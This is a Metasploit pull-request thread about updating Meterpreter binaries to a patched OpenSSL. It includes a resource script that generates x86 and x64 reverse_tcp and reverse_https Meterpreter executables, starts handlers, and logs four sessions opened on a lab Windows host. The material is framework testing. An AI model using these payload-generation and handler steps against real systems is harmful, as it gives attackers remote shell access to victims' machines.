Update meterpreter bins pr 86

[todb-r7]

This updates the Meterpreter bins to the current, non-vulnerable OpenSSL 0.9.8za. This is current as of commit c41bd24 from rapid7/meterpreter#86.

Verification

• Ensure normal Meterpreter functionality

When landing this, please reference RM 8808 as well.

[todb-r7]

Binaries work for me. Using this rc script for basic functional testing:

sleep 3
use payload/windows/meterpreter/reverse_tcp
set LHOST 192.168.145.1
set LPORT 4432
generate -t exe -f /tmp/meterpreter32.exe

use payload/windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.145.1
set LPORT 4464
generate -t exe -f /tmp/meterpreter64.exe

use payload/windows/meterpreter/reverse_https
set LHOST 192.168.145.1
set LPORT 4832
generate -t exe -f /tmp/meterpreter32-https.exe

use payload/windows/x64/meterpreter/reverse_https
set LHOST 192.168.145.1
set LPORT 4864
generate -t exe -f /tmp/meterpreter64-https.exe

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.145.1
set LPORT 4432
set ExitOnSession false
exploit -j

set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LPORT 4464
exploit -j

set PAYLOAD windows/x64/meterpreter/reverse_https
set LPORT 4864
exploit -j

set PAYLOAD windows/meterpreter/reverse_https
set LPORT 4832
exploit -j

Gets results

[*] Started HTTPS reverse handler on https://0.0.0.0:4832/
[*] Starting the payload handler...
[*] 192.168.145.149:49713 Request received for /z3Kj_APFOuUHbX8YUzSNU/...
[*] Incoming orphaned session z3Kj_APFOuUHbX8YUzSNU, reattaching...
[*] 192.168.145.149:49714 Request received for /bbOO_C39J2vPJM3g201Xx/...
[*] Incoming orphaned session bbOO_C39J2vPJM3g201Xx, reattaching...
[*] Meterpreter session 1 opened (192.168.145.1:4864 -> 192.168.145.149:49713) at 2014-06-05 17:03:35 -0500
[*] Meterpreter session 2 opened (192.168.145.1:4832 -> 192.168.145.149:49714) at 2014-06-05 17:03:35 -0500

msf exploit(handler) > 
[*] Sending stage (972800 bytes) to 192.168.145.149
[*] Meterpreter session 3 opened (192.168.145.1:4464 -> 192.168.145.149:49818) at 2014-06-05 17:03:49 -0500
[*] Sending stage (770048 bytes) to 192.168.145.149
[*] Meterpreter session 4 opened (192.168.145.1:4432 -> 192.168.145.149:49823) at 2014-06-05 17:03:51 -0500

msf exploit(handler) > sessions -i

Active sessions
===============

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter x64/win64  WIN-5OCH6LK7RTG\Tod Beardsley @ WIN-5OCH6LK7RTG  192.168.145.1:4864 -> 192.168.145.149:49713 (192.168.145.149)
  2   meterpreter x86/win32  WIN-5OCH6LK7RTG\Tod Beardsley @ WIN-5OCH6LK7RTG  192.168.145.1:4832 -> 192.168.145.149:49714 (192.168.145.149)
  3   meterpreter x64/win64  WIN-5OCH6LK7RTG\Tod Beardsley @ WIN-5OCH6LK7RTG  192.168.145.1:4464 -> 192.168.145.149:49818 (192.168.145.149)
  4   meterpreter x86/win32  WIN-5OCH6LK7RTG\Tod Beardsley @ WIN-5OCH6LK7RTG  192.168.145.1:4432 -> 192.168.145.149:49823 (192.168.145.149)

[todb-r7]

Other commands work as well, just FYI, not just session establishment. Normal things like getuid, etc.

[Meatballs1]

Worthwhile exercising some commands?

test/modules/post/test/meterpreter.rb

[bturner-r7]

This was landed by merging release into master after landing #3425.

[todb-r7]

@Meatballs1 thanks for the pointer to the test script -- totally forgot about that!